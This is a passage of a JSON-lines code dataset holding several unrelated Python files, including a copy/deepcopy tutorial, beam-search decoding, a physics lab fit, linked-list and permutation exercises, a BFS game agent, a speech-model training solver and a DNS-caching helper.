user.ldap_user.attrs['uniqueIdentifier'][0]\n user.unique_id = session['unique_id'] = unique_id\n","sub_path":"apps/larper/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"530576370","text":"#imports many of the different copy functions\r\nimport copy \r\n\r\n#This copies the list from spam into cheese, then changes index 1 into 42\r\nspam = ['A', 'B', 'C', 'D']\r\n#regular copy function\r\nchess = copy.copy(spam)\r\nchess[1] = 42\r\nprint(spam)\r\nprint(chess)\r\n\r\n#deepcopy() is used if the list you need to copy contains list of its own\r\n#copy.deepcopy() is the function\r\n\r\ndamn = [1,2,3,4]\r\ntram = [5,6,7,8]\r\nyram = [9,10,11,12]\r\ngram = [13,14,15,16]\r\n\r\nhram = [damn, tram, yram, gram]\r\nprint(hram)\r\n#copies the list and the lists inside the list\r\nrest = copy.deepcopy(hram)\r\n#changes list 2 to 42\r\nrest[1] = 42\r\nprint(rest)\r\n","sub_path":"Chapter 4 Lists/Chapter 4 Lists/16copy()anddeepcopy().py","file_name":"16copy()anddeepcopy().py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"641553719","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author:XuMing(xuming624@qq.com)\n@description: \n\"\"\"\n\nimport numpy as np\nfrom keras.callbacks import Callback, EarlyStopping\n\nfrom pycorrector.seq2seq_attention import config\nfrom pycorrector.seq2seq_attention.corpus_reader import str2id, id2str\nfrom pycorrector.seq2seq_attention.reader import GO_TOKEN, EOS_TOKEN\n\n\ndef gen_target(input_text, model, char2id, id2char, maxlen=400, topk=3, max_target_len=50):\n \"\"\"beam search解码\n 每次只保留topk个最优候选结果;如果topk=1,那么就是贪心搜索\n \"\"\"\n xid = np.array([str2id(input_text, char2id, maxlen)] * topk) # 输入转id\n yid = np.array([[char2id[GO_TOKEN]]] * topk) # 解码均以GO开始\n scores = [0] * topk # 候选答案分数\n for i in range(max_target_len): # 强制要求target不超过maxlen字\n proba = model.predict([xid, yid])[:, i, :] # 预测\n log_proba = np.log(proba + 1e-6) # 取对数,方便计算\n arg_topk = log_proba.argsort(axis=1)[:, -topk:] # 每一项选出topk\n _yid = [] # 暂存的候选目标序列\n _scores = [] # 暂存的候选目标序列得分\n if i == 0:\n for j in range(topk):\n _yid.append(list(yid[j]) + [arg_topk[0][j]])\n _scores.append(scores[j] + log_proba[0][arg_topk[0][j]])\n else:\n for j in range(len(xid)):\n for k in range(topk): # 遍历topk*topk的组合\n _yid.append(list(yid[j]) + [arg_topk[j][k]])\n _scores.append(scores[j] + log_proba[j][arg_topk[j][k]])\n _arg_topk = np.argsort(_scores)[-topk:] # 从中选出新的topk\n _yid = [_yid[k] for k in _arg_topk]\n _scores = [_scores[k] for k in _arg_topk]\n yid = []\n scores = []\n for k in range(len(xid)):\n if _yid[k][-1] == char2id[EOS_TOKEN]: # 找到就返回\n return id2str(_yid[k][1:-1], id2char)\n else:\n yid.append(_yid[k])\n scores.append(_scores[k])\n yid = np.array(yid)\n # 如果maxlen字都找不到EOS,直接返回\n return id2str(yid[np.argmax(scores)][1:-1], id2char)\n\n\nclass Evaluate(Callback):\n def __init__(self, model, attn_model_path, char2id, id2char, maxlen, log_file, trained):\n super(Evaluate, self).__init__()\n self.loss = 0.0\n self.lowest = 1e10\n self.trained = trained\n self.model = model\n self.attn_model_path = attn_model_path\n self.char2id = char2id\n self.id2char = id2char\n self.maxlen = maxlen\n self.log_file = log_file\n\n def on_batch_end(self, batch, logs=None):\n self.loss += logs['loss']\n if batch % config.print_step == 0:\n print('loss: {}'.format(self.loss / config.print_step))\n sents = ['他們知不道吸菸對未成年年的影響會造成的各種害處',\n '如果它呈出不太香的顏色',\n '可是我覺得飢餓是用科學機技來能解決問題']\n print('')\n for sent in sents:\n target = gen_target(sent, self.model, self.char2id, self.id2char, self.maxlen)\n print(sent)\n print(target)\n print('')\n \"\"\"\n # 保存最优结果\n if batch % config.save_step == 0:\n if logs['loss'] <= self.lowest:\n self.lowest = logs['loss']\n self.model.save_weights(self.attn_model_path)\n print('Saving model ...')\n else:\n print('Not Saving ...')\n \"\"\"\n self.loss = 0.0\n \n def on_epoch_end(self, epoch, logs=None):\n # 保存最优结果\n ep = self.trained + epoch + 1\n print('Saving model ...')\n self.model.save_weights(self.attn_model_path)\n open(self.log_file, 'w').write(str(ep))\n if ep % 20 == 0:\n self.model.save_weights(\"{}.{}\".format(self.attn_model_path, ep))\n \"\"\"\n if logs['val_loss'] <= self.lowest:\n self.lowest = logs['val_loss']\n else:\n print('Not Saving ...')\n \"\"\"\n\n","sub_path":"seq2seq_attention/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":4233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"613199522","text":"import numpy as np\r\nfrom scipy.optimize import curve_fit\r\nimport matplotlib.pyplot as plt\r\nfrom uncertainties import ufloat\r\n\r\n#Funktion\r\ndef f(x,a,b):\r\n return a*x + b\r\n\r\nU, I = np.genfromtxt('data/gelb.csv', comments='#', unpack=True, delimiter=',') #U in V, I in nA\r\nI = I*10**(-9) #A\r\n\r\n#Ausgleichsrechnung\r\npopt, pcov = curve_fit(f,U,np.sqrt(I))\r\na=ufloat(popt[0],np.absolute(pcov[0][0])**0.5)\r\nb=ufloat(popt[1],np.absolute(pcov[1][1])**0.5)\r\nU_lin = np.linspace(np.min(U), np.max(U), 100) \r\n\r\n#Ausgabe\r\nprint('a =',a)\r\nprint('b =',b)\r\nprint('U_g =', -b/a)\r\n\r\n#Plots\r\nplt.xlabel(r'$U \\,/\\, V$')\r\nplt.ylabel(r'$\\sqrt{I} \\,/\\, m\\sqrt{A}$')\r\nplt.plot(U, np.sqrt(I)*10**3, 'rx', label='Messwerte')\r\nplt.plot(U_lin, f(U_lin,a.n,b.n)*10**3, 'b-', label='Lineare Ausgleichsrechnung')\r\nplt.legend()\r\nplt.grid()\r\nplt.savefig('build/gelb.pdf')\r\nplt.show()","sub_path":"500_photoeffekt/python/gelb.py","file_name":"gelb.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"16787405","text":"class Node(object):\n\n def __init__(self, data, next_=None):\n self.data = data\n self.next = next_\n\n\ndef reverse_ll(head):\n curr = head\n prev = None\n while curr:\n temp = curr.next\n curr.next = prev\n prev = curr\n curr = temp\n return prev\n\ndef reverse_ll_with_k(head, k):\n curr = head\n prev = None\n new_head = None\n count = 0\n stack = list()\n while curr:\n if count < k:\n stack.append(curr)\n curr = curr.next\n count += 1\n else:\n while len(stack):\n if not prev:\n prev = stack.pop()\n if not new_head:\n new_head = prev\n else:\n prev.next = stack.pop()\n prev = prev.next\n return new_head\n\ndef main():\n head = curr = None\n n = 9\n for num in range(1, n):\n if not head:\n head = Node(num)\n curr = head\n else:\n curr.next = Node(num)\n curr = curr.next\n\n curr = head\n while curr:\n print(curr.data)\n curr = curr.next\n\n '''\n print(\"reversed\")\n rev_head = reverse_ll(head)\n curr = rev_head\n while curr:\n print(curr.data)\n curr = curr.next\n '''\n\n print(\"reversed k\")\n rev_head = reverse_ll_with_k(head, 2)\n curr = rev_head\n while curr:\n print(curr.data)\n curr = curr.next\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"reverse_ll_with_k.0.py","file_name":"reverse_ll_with_k.0.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"230947946","text":"# -*- coding: utf-8 -*-\n# @ModuleName: Permute\n# @Author: Liqian\n# @Time: 2020/9/27 22:34\n# @Software: PyCharm\n\"\"\"\n46. 全排列\n给定一个 没有重复 数字的序列,返回其所有可能的全排列。\n示例:\n 输入: [1,2,3]\n 输出:\n [\n [1,2,3],\n [1,3,2],\n [2,1,3],\n [2,3,1],\n [3,1,2],\n [3,2,1]\n ]\n\"\"\"\n# 这个问题可以看作有n个排列成一行的空格,从左往右依此填入给定的n个数,每个数只能使用一次\n\n\nclass Solution(object):\n def permute(self, nums):\n def back(first=0):\n # 空格已填满\n if first == n:\n result.append(nums[:])\n return None\n for i in range(first, n):\n nums[first], nums[i] = nums[i], nums[first]\n back(first + 1)\n nums[first], nums[i] = nums[i], nums[first]\n n = len(nums)\n result = []\n back(first=0)\n return result\n\n\nif __name__ == '__main__':\n nums_test = [1, 2, 3]\n sol = Solution()\n res = sol.permute(nums_test)\n print(res)\n","sub_path":"Week_03/Permute.py","file_name":"Permute.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"101440769","text":"import time\nimport random\nfrom copy import deepcopy\nfrom agent import Agent\n\n\n# use whichever data structure you like, or create a custom one\nimport queue\nimport heapq\nfrom collections import deque\n\n\n\"\"\"\n you may use the following Node class\n modify it if needed, or create your own\n\"\"\"\nclass Node():\n \n def __init__(self, parent_node, level_matrix, player_row, player_column, depth, chosen_dir):\n self.parent_node = parent_node\n self.level_matrix = level_matrix\n self.player_row = player_row\n self.player_col = player_column\n self.depth = depth\n self.chosen_dir = chosen_dir\n\n self.seq = []\n if (self.chosen_dir == \"X\"):\n pass\n else:\n self.seq.extend(self.parent_node.seq)\n self.seq.append(self.chosen_dir)\n\n\nclass BFSAgent(Agent):\n\n def __init__(self):\n super().__init__()\n\n def solve(self, level_matrix, player_row, player_column):\n super().solve(level_matrix, player_row, player_column)\n move_sequence = []\n\n initial_level_matrix = [list(row) for row in level_matrix] # deepcopy(level_matrix)\n\n node_list = []\n new_node = Node(None, initial_level_matrix, player_row, player_column, 0, \"X\")\n node_list.append(new_node)\n visited = []\n apple_nodes = []\n\n while len(node_list) != 0:\n node = node_list.pop(0)\n visited.append((node.player_row, node.player_col))\n\n if level_matrix[node.player_row + 1][node.player_col] != \"W\" and (node.player_row + 1, node.player_col) not in visited:\n new_node = Node(node, initial_level_matrix, node.player_row + 1, node.player_col, node.depth + 1, \"U\")\n node_list.append(new_node)\n if level_matrix[node.player_row][node.player_col + 1] != \"W\" and (node.player_row, node.player_col + 1) not in visited:\n new_node = Node(node, initial_level_matrix, node.player_row, node.player_col + 1, node.depth + 1, \"R\")\n node_list.append(new_node)\n if level_matrix[node.player_row - 1][node.player_col] != \"W\" and (node.player_row - 1, node.player_col) not in visited:\n new_node = Node(node, initial_level_matrix, node.player_row - 1, node.player_col, node.depth + 1, \"D\")\n node_list.append(new_node)\n if level_matrix[node.player_row][node.player_col - 1] != \"W\" and (node.player_row, node.player_col - 1) not in visited:\n new_node = Node(node, initial_level_matrix, node.player_row, node.player_col - 1, node.depth + 1, \"L\")\n node_list.append(new_node)\n\n if level_matrix[node.player_row][node.player_col] == \"A\":\n level_matrix[node.player_row][node.player_col] = \"F\"\n apple_nodes.append((node.player_row, node.player_col))\n move_sequence.extend(node.seq)\n node_list.clear()\n visited.clear()\n new_node = Node(None, initial_level_matrix, node.player_row, node.player_col, 0, \"X\")\n node_list.append(new_node)\n\n\n for (i, j) in apple_nodes:\n level_matrix[i][j] = \"A\"\n\n return move_sequence","sub_path":"Hw 1/AI_2019_2020_Fall_Assignment_1-master/bfs_agent.py","file_name":"bfs_agent.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"105258585","text":"import click\n\nfrom pathlib import Path\nfrom nanopath.variants import RandomForestFilter\n\n\n@click.command()\n@click.option(\n '--model',\n type=Path,\n help='Path to trained Random Forest model [.sav] (from: forest-train)'\n)\n@click.option(\n '--vcf_snippy',\n type=Path,\n help='Path to reference Snippy variant file (from: np-core/np-variants --workflow core)'\n)\n@click.option(\n '--vcf_ont',\n type=Path,\n help='Path to ONT (Medaka or Clair) variant file (from: np-core/np-variants --workflow denovo)'\n)\n@click.option(\n '--stats_ont',\n type=Path,\n help='Path to ONT (Medaka or Clair) Pysamstats file (from: np-core/np-variants --workflow denovo)'\n)\n@click.option(\n '--dir_snippy',\n type=Path,\n help='Path to directory with VCFs from Snippy reference variant calls (from: np-core/np-variants)'\n)\n@click.option(\n '--dir_ont',\n type=Path,\n help='Path to directory with VCFs from Medaka or Clair (from: np-core/np-variants)'\n)\n@click.option(\n '--outdir',\n type=Path,\n help='Path to output directory'\n)\n@click.option(\n '--caller',\n type=str,\n default=\"clair\",\n help='ONT variant caller, one of: medaka, clair'\n)\n@click.option(\n '--prefix',\n type=str,\n default=\"prefix\",\n help='Output evaluation prefix [prefix]'\n)\n@click.option(\n '--mask_weak',\n type=float,\n default=0.,\n help='Mask weak position with < base support than <0. - 1.> [0.8]'\n)\n@click.option(\n '--break_complex',\n is_flag=True,\n help='Break complex SNP variants from Freebayes/Snippy in reference [false]'\n)\ndef forest_evaluate(dir_snippy, dir_ont, outdir, caller, model, prefix, mask_weak, break_complex, vcf_snippy, vcf_ont, stats_ont):\n\n ft = RandomForestFilter(outdir=outdir)\n\n ft.evaluate_model(\n dir_snippy=dir_snippy,\n dir_ont=dir_ont,\n vcf_snippy=vcf_snippy,\n vcf_ont=vcf_ont,\n stats_ont=stats_ont,\n model_file=model,\n caller=caller,\n break_complex=break_complex,\n prefix=prefix,\n mask_weak=mask_weak\n )\n\n\n\n","sub_path":"nanopath/terminal/variants/forest_evaluate/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"428819973","text":"# from model import Generator_3 as Generator\nfrom model import InterpLnr\n# from model import OrthoDisen\nfrom model import Parrot\n# from loss import ParrotLoss\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\nimport os\nimport time\nimport datetime\nimport pickle\nimport math\n\nfrom utils import pad_seq_to_2, quantize_f0_torch, quantize_f0_numpy\n\n# use demo data for simplicity\n# make your own validation set as needed\nvalidation_pt = pickle.load(open('assets/spmel/validate.pkl', \"rb\"))\n\n\n# 自己写validation set上的\n\n\nclass Solver(object):\n \"\"\"Solver for training\"\"\"\n\n def __init__(self, vcc_loader, config, hparams):\n \"\"\"Initialize configurations.\"\"\"\n\n # Data loader.\n self.vcc_loader = vcc_loader\n self.hparams = hparams\n\n # Training configurations.\n self.num_iters = config.num_iters\n self.lr_main = config.g_lr\n self.beta1 = config.beta1\n self.beta2 = config.beta2\n self.resume_iters = config.resume_iters\n\n # weight\n self.w_main = hparams.loss_reconstruction_w + 1\n self.w_ortho = hparams.loss_disentanglement_w\n self.loss_o = torch.nn.L1Loss()\n # self.threshold = hparams.threshold\n\n # self.beta1_ortho = config.beta1_ortho\n # self.beta2_ortho = config.beta2_ortho\n # self.lr_ortho = config.ortho_lr\n\n # Miscellaneous.\n self.use_tensorboard = config.use_tensorboard\n self.use_cuda = torch.cuda.is_available()\n self.device = torch.device('cuda:{}'.format(config.device_id) if self.use_cuda else 'cpu')\n\n # Directories.\n self.log_dir = config.log_dir\n self.sample_dir = config.sample_dir\n self.model_save_dir = config.model_save_dir\n\n # Step size.\n self.log_step = config.log_step\n self.sample_step = config.sample_step\n self.model_save_step = config.model_save_step\n\n # Build the model and tensorboard.\n self.build_model(config)\n if self.use_tensorboard:\n self.build_tensorboard()\n\n # torch.autograd.set_detect_anomaly(True)\n\n def build_model(self, config):\n # 定义模型\n self.model = Parrot(self.hparams, config)\n # self.G = Generator(self.hparams)\n # self.ortho = OrthoDisen(self.hparams)\n self.Interp = InterpLnr(self.hparams)\n # self.parameters_main = self.model.grouped_parameters()\n # 定义2个优化器optimizer\n # self.optimizer_ortho = torch.optim.Adam(self.parameters_orth, self.lr_ortho, [self.beta1_ortho, self.beta2_ortho])\n self.optimizer_main = torch.optim.Adam(self.model.parameters(), self.lr_main, [self.beta1, self.beta2])\n # self.optimizer_ortho = torch.optim.Adam(self.parameters_orth, self.lr_ortho, [self.beta1, self.beta2])\n # betas:Tuple[float, float] 用于计算梯度以及梯度平方的运行平均值的系数\n # beta1: 一阶钜估计的指数衰减率\n # beta2:二阶矩估计的指数衰减\n # model.todevice\n self.print_network(self.model, 'model_overall')\n self.model.to(self.device)\n # self.G.to(self.device)\n # self.ortho.to(self.device)\n self.Interp.to(self.device)\n\n # 正交解耦模块的训练参数设置\n\n def print_network(self, model, name):\n \"\"\"Print out the network information.\"\"\"\n num_params = 0\n for p in model.parameters():\n # 统计模型的参数量\n num_params += p.numel()\n # p.numel 返回元素的数量\n print(model)\n # 把encoder、decoder以及各自的结构输出\n print(name)\n # 输出网络名称 G\n print(\"The number of parameters: {}\".format(num_params))\n\n def print_optimizer(self, opt, name):\n print(opt)\n print(name)\n\n def restore_model(self, resume_iters):\n print('Loading the trained models from step {}...'.format(resume_iters))\n # G_path = os.path.join(self.model_save_dir, '{}.ckpt'.format(resume_iters))\n ckpt_path = os.path.join(self.model_save_dir, '{}.ckpt'.format(resume_iters))\n checkpoint_dict = torch.load(ckpt_path, map_location=lambda storage, loc: storage)\n\n self.model.load_state_dict(checkpoint_dict['model'])\n self.optimizer_main.load_state_dict(checkpoint_dict['optimizer_main'])\n self.lr_main = self.optimizer_main.param_groups[0]['lr']\n # self.optimizer_ortho.load_state_dict(checkpoint_dict['optimizer_ortho'])\n # self.lr_ortho = self.optimizer_ortho.param_groups[0]['lr']\n\n def build_tensorboard(self):\n \"\"\"Build a tensorboard logger.\"\"\"\n from torch.utils.tensorboard import SummaryWriter\n self.writer = SummaryWriter(self.log_dir)\n\n def reset_grad(self):\n \"\"\"Reset the gradient buffers.\"\"\"\n self.optimizer_main.zero_grad()\n # self.optimizer_ortho.zero_grad()\n\n # =====================================================================================================================\n\n def train(self):\n # Set data loader.\n data_loader = self.vcc_loader\n\n # Fetch fixed inputs for debugging.\n data_iter = iter(data_loader)\n\n # Start training from scratch or resume training.\n start_iters = 0\n if self.resume_iters:\n print('Resuming ...')\n start_iters = self.resume_iters\n self.num_iters += self.resume_iters\n self.restore_model(self.resume_iters)\n self.print_optimizer(self.optimizer_main, 'G_optimizer')\n # self.print_optimizer(self.optimizer_ortho, 'OrthoDisen_optimizer')\n\n # criterion = ParrotLoss(self.hparams).cuda()\n\n # Learning rate cache for decaying.\n lr_main = self.lr_main\n print('Current learning rates, lr_g: {}.'.format(lr_main))\n # lr_ortho = self.lr_ortho\n # print('Current learning rates, lr_ortho: {}.'.format(lr_ortho))\n\n # Print logs in specified order\n keys = ['overall/loss_id', 'main/loss_id', 'ortho/loss_id']\n\n # Start training.\n print('Start training...')\n start_time = time.time()\n for i in range(start_iters, self.num_iters):\n\n # =================================================================================== #\n # 1. Preprocess input data #\n # =================================================================================== #\n\n # Fetch real images and labels.\n try:\n x_real_org, emb_org, f0_org, len_org = next(data_iter)\n except:\n data_iter = iter(data_loader)\n x_real_org, emb_org, f0_org, len_org = next(data_iter)\n\n x_real_org = x_real_org.to(self.device)\n # x_real : melsp ?\n emb_org = emb_org.to(self.device)\n len_org = len_org.to(self.device)\n f0_org = f0_org.to(self.device)\n\n # =================================================================================== #\n # 2. Train the generator #\n # =================================================================================== #\n\n self.model.train()\n\n # Identity mapping loss\n x_f0 = torch.cat((x_real_org, f0_org), dim=-1)\n # x_f0 : [batch_size, seq_len, dim_feature]\n x_f0_intrp = self.Interp(x_f0, len_org)\n # x_f0_intrp : [batch_size, seq_len, dim_feature]\n f0_org_intrp = quantize_f0_torch(x_f0_intrp[:, :, -1])[0]\n x_f0_intrp_org = torch.cat((x_f0_intrp[:, :, :-1], f0_org_intrp), dim=-1)\n # x_f0_intrp_org : [batch_size, seq_len, dim_feature]\n\n # x_identic = self.G(x_f0_intrp_org, x_real_org, emb_org)\n mel_outputs, feature_predict, ortho_inputs_integral, mask_part, invert_mask = self.model(x_f0_intrp_org, x_real_org, emb_org)\n loss_main_id = F.mse_loss(x_real_org, mel_outputs, reduction='mean')\n loss_ortho_id = self.loss_o(ortho_inputs_integral.cuda(),\n feature_predict.cuda() * invert_mask.cuda() + ortho_inputs_integral.cuda() * mask_part.cuda())\n loss_main = loss_main_id\n loss_ortho = loss_ortho_id\n\n ''''''\n w_ini = 10\n decay_rate = 0.9\n decay_steps = 200000\n ''''''\n # w_decay = w_ini * decay_rate ^ (i / decay_steps)\n w_decay = w_ini * math.pow(decay_rate , i / decay_steps)\n\n loss_overall_id = self.w_main * w_decay * loss_main + self.w_ortho * loss_ortho\n loss_overall = loss_overall_id\n # identity:一致性,所以输入的都是original spk的\n # loss_main_id = F.mse_loss(x_real_org, x_identic, reduction='mean')\n # mse loss\n # Backward and optimize.\n # loss_main = loss_main_id\n # loss_ortho = loss_ortho_id\n self.reset_grad()\n\n \"\"\" loss_main 训练 \"\"\"\n # for p in self.parameters_orth:\n # p.requires_grad_(requires_grad=False)\n # zero grad : Sets gradients of all model parameters to zero.\n # 因为gradient是累积的accumulate,所以要让gradient朝着minimum的方向去走\n loss_overall.backward()\n self.optimizer_main.step()\n\n # for p in self.parameters_orth:\n # p.requires_grad_(requires_grad=True)\n # for p in self.parameters_main:\n # p.requires_grad_(requires_grad=False)\n #\n # loss_ortho.backward()\n # self.optimizer_ortho.step()\n\n # loss.backward()获得所有parameter的gradient\n # optimizer存了这些parameter的指针\n # step()根据这些parameter的gradient对parameter的值进行更新\n # https://www.zhihu.com/question/266160054\n\n # Logging.\n loss = {}\n loss['overall/loss_id'] = loss_overall_id.item()\n loss['main/loss_id'] = loss_main_id.item()\n loss['ortho/loss_id'] = loss_ortho_id.item()\n\n # =================================================================================== #\n # 4. Miscellaneous\n # # 杂项\n # =================================================================================== #\n\n # Print out training information.\n if (i + 1) % self.log_step == 0:\n et = time.time() - start_time\n et = str(datetime.timedelta(seconds=et))[:-7]\n log = \"Elapsed [{}], Iteration [{}/{}]\".format(et, i + 1, self.num_iters)\n for tag in keys:\n log += \", {}: {:.8f}\".format(tag, loss[tag])\n print(log)\n\n if self.use_tensorboard:\n for tag, value in loss.items():\n self.writer.add_scalar(tag, value, i + 1)\n\n # Save model checkpoints.\n if (i + 1) % self.model_save_step == 0:\n # model_save_step : 1000\n model_path = os.path.join(self.model_save_dir, '{}.ckpt'.format(i + 1))\n torch.save({'model': self.model.state_dict(),\n 'optimizer_main': self.optimizer_main.state_dict()}, model_path)\n # 保存了 model + optimizer\n print('Saved model checkpoints at iteration {} into {}...'.format(i, self.model_save_dir))\n\n # Validation.\n if (i + 1) % self.sample_step == 0:\n self.model = self.model.eval()\n with torch.no_grad():\n loss_overall_val_list = []\n loss_main_val_list = []\n loss_ortho_val_list = []\n for val_sub in validation_pt:\n # validation_pt: load 进 demo.pkl\n emb_org_val = torch.from_numpy(val_sub[1][np.newaxis,:]).to(self.device)\n # spk的one hot embedding\n for k in range(2, 3):\n x_real_pad, _ = pad_seq_to_2(val_sub[k][0][np.newaxis, :, :], 400)\n len_org = torch.tensor([val_sub[k][2]]).to(self.device)\n f0_org = np.pad(val_sub[k][1], (0, 400 - val_sub[k][2]), 'constant', constant_values=(0, 0))\n f0_quantized = quantize_f0_numpy(f0_org)[0]\n f0_onehot = f0_quantized[np.newaxis, :, :]\n f0_org_val = torch.from_numpy(f0_onehot).to(self.device)\n x_real_pad = torch.from_numpy(x_real_pad).to(self.device)\n x_f0 = torch.cat((x_real_pad, f0_org_val), dim=-1)\n mel_outputs, feature_predict, ortho_inputs_integral, mask_part, invert_mask = self.model(x_f0, x_real_pad, emb_org_val)\n # 计算loss 要注意 单独输入的向量,16个里是4个一重复。\n feature_predict = feature_predict[:4,:,:]\n mask_part = mask_part[:4,:,:]\n invert_mask = invert_mask[:4,:,:]\n loss_main_val = F.mse_loss(x_real_pad, mel_outputs, reduction='sum')\n loss_ortho_val = self.loss_o(ortho_inputs_integral.cuda(),\n feature_predict.cuda() * invert_mask.cuda() + ortho_inputs_integral.cuda() * mask_part.cuda())\n ''''''\n # w_ini = 0.5\n # decay_rate = 0.1\n # decay_steps = 1000\n # # w_decay = w_ini * decay_rate ^ (i / decay_steps)\n w_ini = 10\n decay_rate = 0.9\n decay_steps = 200000\n w_decay = w_ini * math.pow(decay_rate , i / decay_steps)\n \n ''''''\n loss_overall_id = self.w_main * w_decay * loss_main_val + self.w_ortho * loss_ortho_val\n # loss_overall_id = self.w_main * loss_main_val + self.w_ortho * loss_ortho_val\n # 分别的 loss list\n loss_overall_val_list.append(loss_overall_id.item())\n loss_main_val_list.append(loss_main_val.item())\n loss_ortho_val_list.append(loss_ortho_val.item())\n val_overall_loss = np.mean(loss_overall_val_list)\n val_main_loss = np.mean(loss_main_val_list)\n val_ortho_loss = np.mean(loss_ortho_val_list)\n print('Validation overall loss : {}, main loss: {}, ortho loss: {}'.format(val_overall_loss, val_main_loss, val_ortho_loss))\n if self.use_tensorboard:\n self.writer.add_scalar('Validation_overall_loss', val_overall_loss, i + 1)\n self.writer.add_scalar('Validation_main_loss', val_main_loss, i + 1)\n self.writer.add_scalar('Validation_ortho_loss', val_ortho_loss, i + 1)\n\n\n # plot test samples\n if (i + 1) % self.sample_step == 0:\n self.model = self.model.eval()\n with torch.no_grad():\n for val_sub in validation_pt[:3]:\n emb_org_val = torch.from_numpy(val_sub[1][np.newaxis,:]).to(self.device)\n for k in range(2, 3):\n x_real_pad, _ = pad_seq_to_2(val_sub[k][0][np.newaxis, :, :], 400)\n len_org = torch.tensor([val_sub[k][2]]).to(self.device)\n f0_org = np.pad(val_sub[k][1], (0, 400 - val_sub[k][2]), 'constant', constant_values=(0, 0))\n f0_quantized = quantize_f0_numpy(f0_org)[0]\n f0_onehot = f0_quantized[np.newaxis, :, :]\n f0_org_val = torch.from_numpy(f0_onehot).to(self.device)\n x_real_pad = torch.from_numpy(x_real_pad).to(self.device)\n # 以下三行:把其中的某一个特征置0\n x_f0 = torch.cat((x_real_pad, f0_org_val), dim=-1)\n x_f0_F = torch.cat((x_real_pad, torch.zeros_like(f0_org_val)), dim=-1)\n x_f0_C = torch.cat((torch.zeros_like(x_real_pad), f0_org_val), dim=-1)\n\n x_identic_val,_ , _, _, _ = self.model(x_f0, x_real_pad, emb_org_val)\n x_identic_woF,_ , _, _, _ = self.model(x_f0_F, x_real_pad, emb_org_val)\n x_identic_woR,_ , _, _, _ = self.model(x_f0, torch.zeros_like(x_real_pad), emb_org_val)\n x_identic_woC,_ , _, _, _ = self.model(x_f0_C, x_real_pad, emb_org_val)\n x_identic_woU,_ , _, _, _ = self.model(x_f0_C, x_real_pad, torch.zeros_like(emb_org_val))\n melsp_gd_pad = x_real_pad[0].cpu().numpy().T\n # ground truth\n melsp_out = x_identic_val[0].cpu().numpy().T\n # 4部分完整\n melsp_woF = x_identic_woF[0].cpu().numpy().T\n # 没有 pitch\n melsp_woR = x_identic_woR[0].cpu().numpy().T\n # 没有 rhythm\n melsp_woC = x_identic_woC[0].cpu().numpy().T\n # 没有content\n melsp_woU = x_identic_woU[0].cpu().numpy().T\n # 没有U\n min_value = np.min(np.hstack([melsp_gd_pad, melsp_out, melsp_woF, melsp_woR, melsp_woC,melsp_woU]))\n max_value = np.max(np.hstack([melsp_gd_pad, melsp_out, melsp_woF, melsp_woR, melsp_woC,melsp_woU]))\n\n fig, (ax1, ax2, ax3, ax4, ax5,ax6) = plt.subplots(6, 1, sharex=True)\n im1 = ax1.imshow(melsp_gd_pad, aspect='auto', vmin=min_value, vmax=max_value)\n im2 = ax2.imshow(melsp_out, aspect='auto', vmin=min_value, vmax=max_value)\n im3 = ax3.imshow(melsp_woC, aspect='auto', vmin=min_value, vmax=max_value)\n im4 = ax4.imshow(melsp_woR, aspect='auto', vmin=min_value, vmax=max_value)\n im5 = ax5.imshow(melsp_woF, aspect='auto', vmin=min_value, vmax=max_value)\n im6 = ax6.imshow(melsp_woU, aspect='auto', vmin=min_value, vmax=max_value)\n plt.savefig(f'{self.sample_dir}/{i + 1}_{val_sub[0]}_{k}.png', dpi=150)\n plt.close(fig)\n","sub_path":"solver_new.py","file_name":"solver_new.py","file_ext":"py","file_size_in_byte":19142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"4026908","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# @Time : 2020/7/15 11:20 \n# @Author : MFC\n\n# P55\n\nimport socket\n\n_dns_cache = {}\n\n\ndef _set_dns_cache():\n def _get_addr_info(*args, **kwargs):\n global _dns_cache\n if args in _dns_cache:\n return _dns_cache[args]\n\n else:\n _dns_cache[args] = socket._get_addr_info(*args, **kwargs)\n return _dns_cache[args]\n\n if not hasattr(socket, '_get_addr_info'):\n socket._get_addr_info = socket.getaddrinfo\n socket.getaddrinfo = _get_addr_info\n\n\ndef test_set_dns_cache():\n _set_dns_cache()\n\n import requests\n r1 = requests.get('http://www.huodongxing.com')\n print(\"第1次没命中缓存的时间:\", str(r1.elapsed.microseconds))\n r2 = requests.get('http://www.huodongxing.com')\n print(\"第2次没命中缓存的时间:\", str(r2.elapsed.microseconds))\n # 实际实验后发现,r2也有请求时间比r1长的情况\n\nif __name__ == '__main__':\n test_set_dns_cache()\n","sub_path":"whitehat_web_scanner/dns_cache.py","file_name":"dns_cache.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"461049564","text":"# Serialize json messages\nimport json\nimport logging\nimport base64\nimport os\nfrom kafka import KafkaConsumer\nfrom kafka.errors import KafkaError\nimport threading\nimport time\n\nclass KNativeKafkaConsumer(threading.Thread):\n daemon = True \n\n def __init__(self,topic:str):\n 